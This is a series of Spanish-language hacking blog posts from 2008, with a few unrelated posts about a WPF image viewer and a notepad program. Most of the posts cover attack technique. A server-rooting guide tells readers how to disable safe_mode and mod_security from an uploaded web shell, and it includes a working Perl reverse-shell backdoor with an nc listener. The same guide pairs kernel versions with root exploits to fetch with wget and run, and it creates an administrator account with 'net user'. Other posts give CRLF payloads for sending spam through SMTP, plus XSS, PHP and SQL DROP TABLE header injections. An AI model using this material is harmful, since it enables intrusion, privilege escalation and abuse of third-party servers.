COmo iba diciendo, las SMTP injections funcionan como los HTTP Splitting, y básicamente, como cualquier otro tipo de inyección. El objetivo es introducir una sentencia maligna para que sea ejecutada como si fuese propia de la aplicación vulnerable. En este caso, es aplicado al envío de mails.

Para aquellos que anden un poco perdidos, deciros que SMTP es un protocolo encargado de envíar correos (Simple Mail Transfer Protocool). En algunas ocasiones existen ciertas aplicaciones web encargadas del envío de mails, por ejemplo, de sugerencias al webmaster y cosas así. Si la aplicación es vulnerable a las inyecciones de retorno de carro (CR/LF Injection) podríamos aprovecharla para que mande correos a quien nosotros queramos. Hasta aquí creo que todo bien...

Lo segundo que tenemos que tener claro son como se realizan las negociaciones por SMTP[2]. Al final del paper dejo un link para aprender un poco y así comprender en qué consiste la técnica.

El escenario es el siguiente. Tenemos un archivo llamdo mail.php que es la aplicación vulnerable. Esta aplicación es la encargada de recibir por método POST los datos para enviar el mail. En este caso, existe un index.html con un formulario que apunta a mail.php. En este formulario únicamente podemos poner nuestro correo electrónico y el asunto del mensaje. Entonces si tenemos un sniffer puesto en el puerto 80 (siempre que auditemos o hagamos algo es bueno tener un sniffer interceptando la información), vemos algo tipo:


POST http://hostfalso.com.ar/mail.php HTTP/1.1
…
-----------------------------134475172700422922879687252
Content-Disposition: form-data; name="asunto"
Le mando este mail para decirle
-----------------------------134475172700422922879687252
…

Sólo he puesto el cacho del "asunto". Si sabemos algo del protocolo SMTP (ya os advertí que necesitabais mirar los links del final) podemos haber deducido que la estructura del mail debe de ser algo al estilo de:


HELO
MAIL FROM: <Datos>
RCPT TO: lt;datos>
DATA
Subject: Le mando este mail para decirle

Entonces... si fuese vulnerable a CRLF injection, podríamos setear la variable "asunto" con una inyección cuyo objetivo sería partir la negocación y abrir otra con los datos que nosotros queramos, es decir, con el correo qeu queremos mandar y a quien se lo queremos mandar.

Entonces mandamos el siguiente HTTP header a mail.php:


POST http://hostfalso.com.ar/mail.php HTTP/1.1
…
-----------------------------134475172700422922879687252
Content-Disposition: form-data; name="asunto"
Visita ArgeniversoHack%0d%0a.%0d%0aMAIL FROM: lammo@arroba.com%0d%0aRCPT TO: Lammo@at.com%0d%
0aDATA%0d%0aSPAM test%0d%0a.%0d%0aMAIL FROM: lammo@arroba.com%0d%0aRCPT TO:
Lammo@at.com%0d%0aDATA%0d%0aSPAM test%0d%0a.%0d%0a
-----------------------------134475172700422922879687252
…

Lo que se transformaría en...


MAIL FROM: [mailfrom]
RCPT TO: [rcptto]
DATA
Subject: Visita ArgeniversoHack
.
MAIL FROM: lammo@arroba.com
RCPT TO: Lammo@at.com
DATA
SPAM Test
.
MAIL FROM: lammo@arroba.com
RCPT TO: Lammo@at.com
DATA
SPAM Test
.

Ahora solo necesitais imaginación para darle alguna otra aplicación...

REFERENCIAS

[1]CRLF INJECTIONS: INFECTANDO DECARGAS
[2]RFC 2821
[3] MX-Injections (OWASP)

Rootear Servidores

2008-09-20T18:21:00.003+02:00

Rootear Servidores

Por Vengador de las Sombras (F.O.S TEAM)

0X00 INDICE

0x01 Introducción
0x02 Habilitar funciones (bypassing)
0x02~01 Safe_mode
0x02~02 Mod_security
0x03 Shell inversa
0x04 Rootear el servidor
0x04~01 Servidores con Linux
0x04~02 Servidores con Win32
0x05 Despedida y Agradecimiento s

0X01 INTRODUCCIÓN

El tema de "tengo una shell en el servidor, ahora que hago" seguro que nos suena de haberlo leido reitaradas veces en muchos foros. Y es que esta es una de las dudas existenciales cuando empiezas en este mundillo... ¿Qué hacer con tu shell?.

Pues para las personas que tienen esta duda, va dirigido esta guía. La idea original de crear dicha guía me la dió hace ya tiempo Lëssiëm. En aquel momento le expliqué de una forma "muy breve" el como rootear un servidor... pero en aquella ocasión se lo expliqué todo color de rosa, es decir sin ningun tipo de complicación. La idea de la guia se fue dejando de lado... hasta que antes de irme a la Universidad decidi crearla.

0X02 HABILITAR FUNCIONES (BYPASSING)

El primer problema con el que solemos encontrarnos a la hora de "juankear" un servidor, suele ser el que tenemos ciertas funciones deshabilitadas por culpa del "Safe_Mode", o tenemos algún problema con el Mod_Security. Cualesquiera que sea el caso del que nos dé problemas, en este capítulo hablaremos de como saltar, de como "bypassear" estas restricciones que nos encontramos.

Cuando tenemos una shell subida a un servidor, usualmente nuestro primer objetivo es el lograr habilitar aquellas funciones que vamos a necesitar, para poder desenvolvernos de la forma más sencilla por todo el servidor. A continuación pasamos a explicar detalladamente distintos bypassing.

0X02~01 SAFE_MODE

El Safe_Mode o Modo Seguro, es una configuración que se suele seguir mucho en los servidores que suelen ser de hospedaje, es decir, en aquellos que cada usuario tiene un /home/ diferente donde se alojan, teniendo el servidor así diferentes /home/, uno por cada usuario. Para evitar el que un usuario pueda interferir de algún modo en el normal funcionamiento de otro, estos servidores suelen adoptar una configuración de Modo Seguro.

Esta configuración lo que hace es inhabilitar ciertas funciones PHP que puedan tacharse como "peligrosas", tales como funciones de ejecución (Eval, System, exec...) y algunas otras como rename, copy, etc. Realmente no es que deshabiliten la totalidad de éstas funciones, sino que bloquean su uso únicamente al dueño del fichero.

Como nos habremos dado cuenta ya, Safe_Mode representa una barrera que debemos de saltar para poder "hacer algo" dentro del servidor. Para bypassear el Safe_Mode, existen diversas formas.

La primera de todas es usando algún exploit que vulnere la versión PHP que está corriendo el servidor. Normalmente deben de ejecutar el código del exploit en la shell. ¿Cómo hacemos esto?. Si alguna vez han manejado una R57 o una C99, habrán observado que existe un apartado donde pone "Run PHP Code" o similar. Deben de colocar ahí el código del exploit y lo ejecutan.

Una segunda forma para realizar un bypassing es el subir al mismo path donde se encuentra nuestra shell un archivo de configuración php.ini. Esto se hace así porque el safe_mode se configura como ON en la configuración de PHP. Entonces lo que vamos a hacer, es colocar un archivo de configuración dentro del mismo path en el que tenemos nuestra shell para deshabilitar en este path el Safe_Mode. EL source del .ini es el siguiente:



[PHP]
register_globals = On
engine = On
safe_mode = Off
safe_mode_exec_dir = On
safe_mode_include_dir =On

Pues ya sabemos cómo bypassear el safe_mode para poder movernos con soltura dentro del servidor.

0X02~02 MOD_SECURITY

Otra medida de seguridad que en muchas ocasiones necesitamos bypassear es el Mod_Security de Apache. Mod_Security es muy molesto para trabajar en el servidor... así que tendremos que bypassearlo editando el fichero .htaccess. Deberemos de añadir al fichero .htaccess


<IfModule mod_security.c>
SecFilterEngine Off
SecFilterScanPOST Off
SecFilterCheckURLEncoding Off
SecFilterCheckUnicodeEncoding Off
&/IfModule>

Con esto y el bypass de Safe_Mode tendríamos la mitad del asunto hecho

0X03 SHELL INVERSA

El caso es que usar la shell en PHP para empezar está bien, pero cuando ya has conseguido realizar los bypass y lo que buscas es manejarte y tratar de rootear el servidor, siempre es mejor tener una shell sobre la que ejecutar instrucciones.

Como bien sabemos ya por NetCat, la shell inversa es la mejor forma de tener el control del servidor. Mayormente es preferible una inversa a una directa porque el firewall, en principio, casi siempre permite conexiones salientes, pero no entrantes.

Entonces nuestro objetivo será codear alguna aplicación que nos dé una shell inversa en el puerto que elijamos. Yo normalmente codeo los backdoors en PERL, ya que el uso de socket es muy sencillo. Por otra parte, existen otras personas que prefieren usar Backdoors codeadas por terceros, como la Datacha0s, o la BackConnect del D.O.M. Personalmente siempre apoyo el "codeate tú mismo tus herramientas" para depender menos de terceros. Así que aqui os dejo un PoC :



print "[+]Connecting to $host ...";
socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp'))
                                                     || die "[-] Cannot Resolve $host";
connect(SOCKET, sockaddr_in($port, inet_aton($host)))
                                                     || die "[-] Cannot Connect to $host";

print "\n[+] Connected!";

open(STDIN, ">&SOCKET");
open(STDOUT,">&SOCKET");
open(STDERR,">&SOCKET");
$ejecutor = "/bin/bash";
system($ejecutor);

Esa es una pequeña idea, estudiad Perl para poder implementar esta idea. El caso es que con eso lanzaríamos un socket al host y puerto que hayamos puesto. Aqui les dejo la BackFoS (el backdoor que codee para el FOS TEAM) en su version 0.2. Actualmente estamos trabajando con la 0.3 (le he añadido unos pocos errores anti-kiddies):


#!/usr/bin/perl

########### BackFoS v0.2 - By FoS TeaM - [priv8] ##########
#                                                         #
#     BackFoS is a Backdoor in PERL for  all  Servers     #
#            c0dex by Vengador de las Sombras             #
#                                                         #
#          USAGE: Perl BackFoS.pl         #
#     You need have listen nc, cryptcar, putty or other   #
#      program on  to connect with the backdoor     #
#                                                         #
#=========================================================#
#                                                         #
#  Gr3tz to: Lutscher, WaesWaes, CHR0N05, Keynet, Fr34k,  #       
# Lëssiëm Tárálom, Phonix & ArgeniversoHack & #RE members #
#      Especial Thanx To Plaga, for the help =)           #
#                                                         #
#################### (c)FoS TeaM 2008 #####################

#use IO::Socket;

print q(

=================================================
   BackFoS.pl c0dex by FoS TeaM
=================================================
);
$ARGC = @ARGV;
if ($ARGC != 5){ 
print "\nUsage: BackFoS.pl   
exit(0);
}

$host = $ARGV[0];
$port = $ARGV[1];
$OS = $ARGV[2];
use Socket;

print "[+]Connecting to $host ...";
socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp'))
                                                     || die "[-] Cannot Resolve $host";
connect(SOCKET, sockaddr_in($port, inet_aton($host)))
                                                     || die "[-] Cannot Connect to $host";

print "\n[+] Connected!";

open(STDIN, ">&SOCKET");
open(STDOUT,">&SOCKET");
open(STDERR,">&SOCKET");

print "\n .::BackFoS v0.2 - FoS TeaM - [Priv8]\n";
if ($OS == "-l"){
$ejecutor = "/bin/bash";
system($ejecutor);
}

if ($OS == "-w"){
$ejecutor = "cmd";
sistem($ejecutor);
}

Antes de mandar la shell, debemos de ejecutar en nuestra propia shell lo siguiente:

nc -lvvp 90

Podemos usar NetCat, o cualquier otro programa que sirva para hacer negociaciones TCP/IP. El caso es que así dejamos a la escucha netcat para que reciba la shell. Desde la shell .php que tenemos en el servidor ejecutamos lo siguiente:

perl

et voilá ya podemos manejarnos dentro de la shell del servidor. Normalmente desde esta shell tendremos más flexibilidad que con la shell .php.

0X04 ROOTEAR EL SERVIDOR

Ya hemos llegado al apartado crucial de este paper. Cuando hablamos de rootear un servidor, a lo que nos referimos es a conseguir ser root del servidor, es decir, poder hacer lo que se nos antoje dentro del servidor. Aqui vamos a diferenciar entre servidores que corren con Linux y los que corren con Win32

0X04~01 SERVIDORES CON LINUX

Cuando rooteamos un servidor que corre con el sistema operativo Linux, lo que haremos será atacar al kernel (en caso de que sea una versión vulnerable) para que elevemos privilegios.

En este caso partimos de la base de que ya estamos controlando una shell inversa procedente del servidor. Lo primero que deberemos de hacer será comprobar si la versión del kernel es vulnerable. Para ello deberemo sde ejecutar la instruccion uname -r. Aqui les dejo un listado de kernels y posibles rootexploits que los vulneran:

2.4.17=> "newlocal kmod uselib24",
2.4.18=> "brk brk2 newlocal kmod",
2.4.19=> "brk brk2 newlocal kmod",
2.4.20=> "ptrace kmod ptrace-kmod brk brk2",
2.4.21=> "brk brk2 ptrace ptrace-kmod",
2.4.22=> "brk brk2 ptrace ptrace-kmod",
2.4.22-10=> "loginx",
2.4.23=> "mremap_pte",
2.4.24=> "mremap_pte uselib24",
2.4.25-1=> "uselib24",
2.4.27=> "uselib24",
2.6.2=> "mremap_pte krad h00lyshit",
2.6.5=> "krad krad2 h00lyshit",
2.6.6=> "krad krad2 h00lyshit",
2.6.7=> "krad krad2 h00lyshit",
2.6.8=> "krad krad2 h00lyshit",
2.6.8-5=> "krad2 h00lyshit",
2.6.9=> "krad krad2 h00lyshit",
2.6.9-34=> "r00t h00lyshit",

o hice una tool para el team que se encargaba precisamente de eso, de mostrar los posibles rootexploit a partir de ese listad (creas una matriz asociativa, dejando las Keys como las versiones y los Values con los rootexploits, despues lo que haces es ejecutar uname -r y creas un patron de búsqueda que compruebe si en el output aparece alguna version de kernel que tengamos en el hash).

Bien desde la shell remota lo que haremos será movernos hasta un directorio donde podamos ejecutar archivos. Normalmente se suele recurrir a /tmp o se hace un find . -type d -perm (los que necesiemos buscar)

Bueno, si ya estamso en el directorio, ahora debemos de descargar nuestro rootexploit al servidor usando el comando wget (wget http://mihost.com/del/exploit). Tras haber descargado nuestro rootexploit, deberemos de darle permisos de ejecuccion (777) usando el comando chmod:

Código:

chmod 777 rootexploit

Y ya solo nos quedaría ejecutarlo con ./rootexploit. Si todo ha salido bien, deberíamos de ser root ya.

0X04~02 SERVIDORES CON WIN32

Los más puristas llaman a esto "Semi-rootear" el servidor... pero bueno. Yo aprendí siguiendo un paper que publicó You_kn0w. La idea es crear un usuario en el servidor con permisos de administrador a través de los comandos net. Es por ello que es necesario tener el safe_mode off, para poder ejecutar comandos.

El "ataque" se inicia desde la shell que tengamos en el servidor. Allí lo que hacemos es ejecutar las siguientes instrucciones:

Código:

net user FoS 123456 /add

Para aquellos que sepan algo de batch, sabrán que lo que hemos hecho ha sido crear un usuario llamado FoS cuya password es 123456. Bien ahora nos vamos a inicio -> ejecutar y escribimos mstsc.exe

Se nos abrirá una ventania. Ahí vamos a opciones y rellenamos los campos, a excepción de Equipo. En ese campo deberemos de poner la IP del servidor donde nosotros nos habíamos creado el usuario. Podemos o bien hacer ping al servidor o bien hacer desde la shell ipconfig y sacar la IP.

0X05 DESPEDIDA Y AGRADECIMIENTOS

Bien, creo que al final este paper ha quedado como una buena introducción a las newbies que empiezan en este mundo. Por otra parte creo que podría expandirse un poco más... pero bueno eso para otra ocasión. Espero les haya sido de utilidad.

Gr3tz to: FoS TeaM (Chipbios & Mace Windu), Askata, Chr0n05, Lëssiëm, Lutscher, Keynet, Fr34k, N.O.X. Tambien agradecer a mi betatester S e t H y a mi gran colega Plaga.

HTTP al Descubierto by Vengador de las Sombras & Sknight

2008-09-12T00:28:00.011+02:00

Aquí les dejo el paper sobre el que hemos estado trabajando esta semana y por el que dejé un tanto abandonado el blog. Tras este aporte, esperamos poder volver http://www.blogger.com/img/blank.gifhttp://www.blogger.com/img/blank.gifa la normalidad en cuanto al posteo diario en el blog.

===Mirrors actualizados===

-Mirror de elhacker.NET
-Mirror de Seth

==================================

Visor de imágenes

2008-09-06T23:34:00.005+02:00

Se trata de un visor de imágenes utilizando el tipo de proyecto WPF Application. Para ello, no hemos tenido que escribir ni una sola línea de código en C#, por lo que simplemente copiando el XAML a un proyecto del mismo tipo en VB seguiría funcionando.

Descargar proyecto + Recursos + Ejecutable

Como pueden ver, toma las fotografías de un documento XML que deberán modificar con sus fotografías para que les funcionen. De todos modos, he incluido una serie de fotografías en el RAR para que las copien en la unidad de C y puedan comprobar el funcionamiento del programar sin tener que modificar el XML. Para añadir fotos solo tiene que ir agregandolas al XML.

Salu2

Alternative Notepad Edition "Vengador"

2008-09-06T23:09:00.007+02:00

Se trata de un bloc de notas con alguna característica adicional a gusto de mi amigo Vengador de las Sombras que fue quien me lo pidió que lo codeara hace ya unos meses para su uso personal:

Descargar proyecto + Recursos + Ejecutable

Obviamente el código se puede optimizar bastante y agregarle nuevas funcionalidades, pero eso ya se lo dejo a ustedes ;).

Salu2

HTTP Headers III : Banner Grabbing

2008-09-06T01:34:00.007+02:00

Saludos!

Este va a ser el último paper que haga por separado acerca de técnicas de explotación y enumeración a través del protocolo HTTP. En esta ocasión quiero brindarles un breve paper sobre banner Grabbing. Digo lo de breve, porque estos tres papers que he publicado son sólo para abrir boca: Sknight me ha confirmado la creación en conjunto de un paper. La idea original de este paper es la de hacer uno en español que abarque el máximo posible de información sobre el tema, ya que por lo que hemos visto no hay casi ninguna publicación de esta índole (y de calidad) en nuestro idioma. Espero que os sea de utilidad ;).

Bueno, tras este paréntesis explicativo de porqué este paper va a ser algo corto y no va abarcar todo lo que debería (como por ejemplo el spoofing de banners), pongamonos manos a la obra.

Si alguna persona lee mi blog (cosa que dudo bastante XD) y se ha leido los anteriores capítulos (HTTP Headers I y II) sabrá que hasta ahora hemos tirado de utilidades tales como Live HTTP headers entre otras, las cuales nos han simplificado la vida bastante, y esto a la larga atrofia nuestro cerebro. Lo ideal a veces es usar cosas más antiguas y utilidades programadas por nosotros, así que hoy vamos a hacer las cosas... lo más a mano posible, para ir emancipandonos poco a poco de las utilidades de terceros. Así que hoy lo único que vamos a usar es algún programa que realice negociaciones por TCP (Netcat, CryptCat, Telnet, Putty, etc.) y un intérprete de perl ;).

Empecemos a ver las definiciones... ¿A qué estamos llamando banner? Estamos llamando banner a la informacion (como el programa, la versión, entre otras) de trasmite un servicio cuando trabajamos con él. Por ejemplo, cuando nosotros nos conectamos a un FTP:


Microsoft Windows XP [Versión 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

Fl4mm1ng 0ur Sk1llZ:    ftp Host.com.ar
Conectado a Host.com.ar.
220 vserver-vpvseu1 Microsoft FTP Service (Version 5.0).
Usuario (HOST.com.ar:(none)):

La parte coloreada en rojo sería el banner que informa acerca del servicio que corre por el puerto 21 (FTP). Al igual que con esto, los servidor, versiones de PHP, etc aparecen cuando hacemos alguna negociación por el puerto 80, o lo que traducido del geek común al idioma de las personas, cada vez que nos conectamos a una web.

Esta info la optenemos en las cabeceras cuando realizamos alguna petición a un servidor. Ahora os voy a enseñar como mandar una cabecera a través de netcat.

Para hacer una negociación con netcat para el envío de cabeceras, únicamente teneis que poner nc host 80 Si la conexión se ha producido correctamente, podreis escribir. Una cosa importantísima es que se deben de escribir las cabeceras acorde con el estandar, o si no tendremos errores. Bueno, entonces si hacemos:



Fl4mm1ng 0ur Sk1llZ:    nc ficticio.com 80
GET / HTTP/1.0

Hay que tener encuenta que tras escribir GET / HTTP/1.0, para señalizar la finalización de la cabecera tendremos que pulsar dos veces enter (los dos CR/LF de fin de cabecera). Y el servidor nos responde con:


HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0 MicrosoftOfficeWebServer: 5.0_Pub
X-Powered-By: ASP.NET
Content-Location: http://200.49.155.214/index.html
Date: Sat, 06 Sep 2008 00:21:03 GMT
Content-Type: text/html
Accept-Ranges: bytes
Last-Modified: Thu, 06 Dec 2007 03:28:15 GMT
ETag: "eab1b49b837c81:1669"
Content-Length: 66

Vemos en el campo Server el banner. Bien ya sabemos a qué nos referimos cuando hablamos de "banners" pero... ¿Qué es el banner grabbing? El banner grabbing es una técnica de enumeración, para buscar un posible vector de ataque, que trata de usar la información del banner como referencia para saber los servicios que corre... Haciendo que nuestra auditoría se focalice más atendiendo a esos datos. Antes que nada decir que no debemos de fiarnos únicamente de los banners, puestos que estos son spoofeables[1]. Para hacer una correcta enumeración del servidor atacar se recomienda el uso de técnicas de fingerprinting[2] para obtener una info verídica.

Como ir haciendo esto constantemente puede convertirse en una tarea muy monótona, podemos codearnos un sencillo programa en PERL que haga esta función:


#!/usr/bin/perl

# Banner Grabber Example by Vengador de las Sombras (F.O.S TeaM)
# Permitida su distribución y editaje siempre y cuando guarden créditos

# Www.ArgeniversoHack.com.aR || RemoteExecution.orG || 0verl0ad.blogspot.com


unless ($ARGV[0]){
&uso
}

use IO::Socket::INET;

$host = $ARGV[0];
$port = $ARGV[1];
$size = "1000";

$peticion = "HEAD / HTTP\/1.0"
$peticion .= "\r\n\r\n"; #Concatenamos un doble CR/LF para indicar el final del Header

print "[+] Conectando con $host ...\n";

$socket = new IO::Socket::INET(
      PeerAddr => $host,
      PeerPort => $port,
      Proto => 'tcp') || die "[-] No se ha podido conectar a $host";

print $socket $peticion; #Mandamos la cabecera
read $socket, $respuesta, $size; # Leemos la salida del Socket

@salida = split(/\n/, $respuesta);
foreach $linea (@salida){
if ($linea =~ /Server/){
$banner = $linea;
}
}

$_ = $banner;    #Con todo esto
s/<ADDRESS>*//;  #Lo que hacemos es
s/<\/ADDRESS>//; #Limpiar la línea de nuestro banner
$banner = $_;    #Para que salga únicamente los datos qeu nosotros queremos

print "Banner de $host => $banner";
exit(1);

sub uso {
print "Uso: Banner <<HOST> <PORT>";
exit(0);

#Fin del programa

Con este sencillo code que os he dejado para que estudien y vean la sencillez de PERL (ahí promocionando XD). He comentado las líneas para que no haya ningun tipo de problema, de todas formas cualquier duda la pueden publicar que estaré encantado de resolverla.

En la actualidad estoy betatesteando junto con Seth una herramienta para realizar un fingerprint a un host remoto, basándose en cuatro tests[2] diferentes (HEAD, DELETE, improbe protocol version y Improbe Protocol).

Para finalizar sólo pediros que no me crucifiqueis por no haber extendido más sobre el tema y sólo arañar la superficie, pero no tenía qué publicar hoy, y me pareció bien hacer una introductoria al tema. Así que si quereis ver sobre este tema más a fondo, no os perdais el paper que vamos a preparar Sknight y yo ;).

Referencias:
[1] El poder de los Banners.. (Banner Grabbing) por C1c4tr1Z
[2] An Introduction to HTTP fingerprinting por Saumil Shah

HTTP Headers II : Inyectando código

2008-09-05T00:54:00.006+02:00

Por Vengador de las Sombras (FOS TEAM)

Saludos!

Sigo aquí con mi pequeña aportación sobre la utilización de los HTTP headers como vector de ataque, aportación pedida por Seth y por Em3trix y transformada en un pequeño paper. En esta ocasión quiero destacar la ayuda de Sknight , quien me ha estado pasando documentación sobre el tema en inglés, a fin de completar el paper con información referente y muy interesante (mucho más que cualqueir cosa que yo os pueda decir XD).

Bueno... en esta ocasión como el propio nombre lo indica, vamos a centrarnos en lo que viene siendo la inyección de código malicioso (ya sean sentecias SQL, PHP, JavaScript, etc.) dentro de las cabeceras para explotar algún servicio de la web. Como herramientas, vamos a usar las de siempre, el add on de firefox Live HTTP Headers para el sniffeo de las cabeceras HTTP y para modificarlas. Pueden usar otros, como Achilles, Tamper Data, etc... O si son más clásicos, pueden usar Netcat o Putty... para gusto los colores.

Cuando se suele hablar de "ataques a través de cabeceras" mucha gente se pierde, puesto que no sabe cómo explotar estas vulnerabilidades... Existen formas de que un usuario mande una cabecera modificada sin querer... esto lo veremos (si al final me animo) en el tercer paper (no es seguroq eu lo haga XD). En vez de eso, lo que os voy a proponer son aplicaciones web que utilizan las cabeceras y que no filtran bien las variables... luego podemos alterar el funcionamiento de dichas aplicaciones.

El primer y más sencillo caso con el que nos vamos a encontrar es un XSS. Para este ejemplo vamos a imaginarnos una aplicación PHP cuyo cometido es guardar los links que linkean a nuestra web. Existen varias formas de medir esto, una de ellas es guardando los referer que llegan a tu sitio al clickar sobre el link.


<?php
$ref_lista = fopen("links.html",a);
fwrite($ref_lista,'<a href=".$_SERVER['HTTP_REFERER'].'">'.$_SERVER['HTTP_REFERER'].'</a>');
fclose($ref_lista);
?>

Es un ejemplo tosco, pero imaginémonos que ahi se guardan y despues desde la web se hace un iframe al resultado, aplicandole unas hojas CSS para darle estilo y que se integre bien con el theme de nuestra web.

Si nosotros, llamémosnos "usuarios malintencionados", observamos dicho mecanismo por alguna clase de auditoría que estamos haciendo a la web, podríamos tirar de Live HTTP headers para spoofear la variable Referer: y agregarle un http://unaweb.index.php" onmouseover=alert(/FoS TeaM/); target="_blank. Ojo y esto es importante para poder inyectar en nuestro ejemplo el código malicioso debemos de dejar una comilla abierta, para ello le agrego el atributo target. En vez de usar onmouseover, podeis usar otras formas distintas... es sólo un PoC para demostrar cómo funcionaría, ya que por ejemplo si mandasemos una cabecera con un código más sencillo tipo:



GET /index.php HTTP/1.1
Host: Vulnerable.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16
Accept: text/xml,application/xml,application/xhtml+xml,text/html*/*;q=0.5
Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://suckeame.com"><script>...</script>

Optendriamos un un resultado más satisfactorio, puesto que se ejecutaria automaticamente y no cuando pongamos únicamente el ratón encima del link.
Esta misma técnica es extrapolable a otro tipo de aplicaciones que no filtren bien, y que usen otros campos de las cabeceras, como por ejemplo User-Agent... He querido mostrar este ejemplo porque se trata de un XSS de Tipo-2 (persistente) que ejemplifica muy bien la utilización de las cabeceras como vector para explotar un XSS.

Si en vez de agregar a nuestra web el archivo links.html por iframes, lo hiciesemos por una sentencia include(), el bug se agrabaría y mucho, ya que de la misma forma tendríamos una PHP injection... lo que conllevaría que al explotarlo, pudiesemos tener una shell. Como PoC dejo esta cabecera:




GET /index.php HTTP/1.1
Host:  
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: <php ob_clean; system("uname -a"); ?>

A parte de PHP injections y de explotar XSS, también se pueden usar las cabeceras para explotar SQL injections, como primer caso voy a tomar un ejemplo de un paper[1] que me ha pasado Sknight que habla sobre el protocolo HTTP, cuyo autor es Trew (al final de este paper dejo un link hacia él). El ejemplo es de un script en PHP encargado de mirar las IPs usando para ello la cabecera X_FORWARDED_FOR, y haciendo una consulta a la DB comprueba si dicha IP se encuentra en la tabla de baneados... aquí os lo dejo:


$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
$consulta = mysql_query( "SELECT * FROM baneados where ip=$ip" , $conexion);

En ese código vulnerable, podemos spoofear la cabecera y añadirle una SQL injection con el código foo'; DROP TALE baneados;--, provocando que se borre la tabla "baneados".

Igual que en ese ejemplo, podemos encontrar otros tipos de sentencias y como explotarlas... para ello dejo una referencia al final de este paper.

Bueno... al final me ha sido breve el paper... quiero decirles que probablemente haga en conjunto con otra persona un paper extenso que hable de todo sobre los Headers...

Ya saben, cualquier error, sugerencia o duda publiquenla.

REFERENCIAS
[1]HTTP a fondo
[2]SQL Injection CheatSheet

HTTP Headers I : Métodos HTTP

2008-09-04T15:05:00.003+02:00

Saludos!

Bueno varios lectores del blog me han pedido que hiciera un par de publicaciones acerca de los HTTP Headers, y de técnicas de explotación, y vulnerabilidades, relacionados con ellos (han sido Seth y Em3trix quienes me lo han pedido). Voy a intentar hacer dos o tres papers acerca del tema (uno sobre métodos HTTP y otro sobre HTTP headers injections, tanto de SQL como de PHP y quizás un tercero sobre CR/LF injections).

Para evitar volver a tener que escribir una introducción hacia las cabeceras HTTP, pido la lectura de mi anterior paper sobre el tema, HTTP METHODS: Subiendo shell con PUT.

Si ya habeis leido ese paper, podemos continuar. Los métodos GET, POST y PUT, no los voy a explicar, puesto que los dos primeros no merecen la pena desde el punto de vista de realizar una auditoría, y el tercero ya lo vimos en profundiad en mi otro paper.

Empecemos viendo el método HEAD. Una cabecera que lleve ese método, tendrá una respuesta por parte del servidor como si se tratase de un GET, pero en vez de mostrar el contenido del archivo al que le hacemos "GET", loq ue mostrará será la información del servidor, incluyendo alguna información más, como por ejemplo la última vez que fue modificado el servidor.

Si leímos mi anterior paper, ya sabemos como sniffear las cabeceras y modificarlas, ahora usemos eso para poner HEAD:


HEAD / HTTP\1.1
Host: 
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive

Y obtenemos como respuesta:


HTTP/1.x 200 OK
Server: Microsoft-IIS/5.0
Date: Thu, 04 Sep 2008 13:32:36 GMT
X-Powered-By: ASP.NET
Content-Length: 35929
Content-Type: text/html
Set-Cookie: ASPSESSIONIDSCQRSQTR=JFEIDLOBPNNHMEJHJDAPLNBK; path=/
Cache-Control: private

Cuando usamos un método que no es de los habituales (GET y POST) podemos obtener varios tipos de respuestas. Si todo ha ido bien, el servidor nos responderá con un OK, cuyo código es 200, en cambio si ha habido alguna complicación por parte del cliente (acceso restringido, no existe, o el método no esta allowed) la respuesta será de erro 4xx, por ejemplo, Method not allowed tiene como código 405, acceso restringido es 403, archivo no encotnrado en el servidor 404, etc. Cuando el error es interno del servidor, el error es un 5xx.

Bien, HEAD no tiene más complicación... ahora sigamos viendo otros métodos. El método DELETE, como su propio nombre indica, es el encargado de borrar un determinado archivo que indiquemos en la cabecera... Baste decir que no siempre que esté permitido tendremos permiso para hacerlo, a veces (como bien me recordó p0lk22 en un post de #RE) tenemos que crear algún tipo de certificado. La estructura de la cabecera a construir sería:


DELETE /index.php HTTP\1.1
Host: 
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive

Donde Index.php sería el archivo que deseamos borrar.

Despues hay muuuchos más métodos (Copy, Move, Propfind...) pero realmente que nos hagan falta conocer, creo que únicamente TRACE.

El método TRACE actúa de espejo, haciendo que el servidor responda lo mismo que le hemos mandado... Normalmente tiene cierta relación con los XSS, de hecho con TRACE hay una variante de ese método, el llamado XST. Para serles sincero nunca he conseguido explotar algo usando TRACE, así que no puedo explicarles algo más de este método... Pero sí que puedo dejarles un paper muy interesante: http://www.cgisecurity.com/whitehat-mirror/WH-WhitePaper_XST_ebook.pdf

XSS: Bypassing de filtros

2008-09-03T23:22:00.004+02:00

Saludos!

